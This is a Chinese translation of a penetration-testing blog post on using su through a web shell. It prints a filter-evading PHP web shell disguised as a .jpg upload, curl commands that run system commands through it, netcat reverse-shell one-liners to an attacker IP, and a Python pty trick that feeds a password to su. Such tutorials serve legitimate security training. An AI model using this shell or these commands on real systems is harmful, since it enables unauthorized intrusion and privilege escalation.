[译]web shell中使用su

最新推荐文章于 2024-11-27 11:30:26 发布

原创最新推荐文章于 2024-11-27 11:30:26 发布 · 247 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#shell #php #python

渗透测试专栏收录该内容

50 篇文章

订阅专栏

本文重点讲述了如何利用WebShell和su/sudo命令进行权限提升，通过绕过扩展名检查并建立连会攻击者的Netcat session，最终实现对目标系统的权限提升。详细介绍了构建WebShell的过程，以及在不同环境下建立Netcat session的方法，并讨论了在无法使用-e选项的情况下如何使用Python伪造终端来绕过限制。

原文地址：[url]http://pen-testing.sans.org/blog/pen-testing/2014/07/08/sneaky-stealthy-su-in-web-shells[/url]
[b][color=red]本文的重点是讲述如何使用su[/color][/b]
场景：web服务器中存在一个上传漏洞，site确保上传文件以.jpg或.png结尾。这时，上传一个shell.php.jpg,包含如下代码：

<?php @extract($_REQUEST); @die ($ctime($atime)); ?>

该这个shell绕过了扩展名检查，但是由于它在文件名中包含.php,许多系统把它当成脚本执行。同时，这个shell不包含"/bin/sh","shell_exec"或system字符串。

$ curl "http://Site/shell.php.jpg?ctime=system&atime=whoami"
apache

现在我们拥有了一个webshell。
接下来是建立一个连会攻击者的netcat session

http://Site/shell.php.jpg?ctime=system&atime=nc+-nv+my.attack.er.ip+80+-e+/bin/sh

如果目标机的netcat不支持-e选项，参考GAPING_SECURITY_HOLE选项，可以使用下面的方法(参考:[url]http://pen-testing.sans.org/blog/pen-testing/2013/05/06/netcat-without-e-no-problem[/url])：

http://Site/shell.php.jpg?ctime=system&atime=mknod+/tmp/mypipe+p;+/bin/sh+</tmp/mypipe+|+nc+my.attack.er.ip+80+>/tmp/mypipe

一旦我们建立了shell，接下来使用su/sudo来提权，因为他们使用一种特殊方法来交互(s使用sudo，参考[url]http://ecstaticsec.tumblr.com/post/87205770569/sudo-tricks[/url])
如果你不想有一个反向连接到你的server的connection，但是你该如何升级权限？因为sudo不可能出现在/etc/sudoers文件中。su有一个-c选项，允许我们指定命令。但是我们有一个问题，我们需要运行su以及提供一个密码。如果我莫使用echo来访su传递密码会怎样？

$ echo password | su -c whoami

[color=blue]必须是一个tty[/color]
可能会得到一个“must be run from a terminal”错误--su命令希望我们从终端运行。
我们可以使用python来伪造一个终端：

(sleep 1; echo password) | python -c "import pty; pty.spawn(['/bin/su','-c','whoami']);"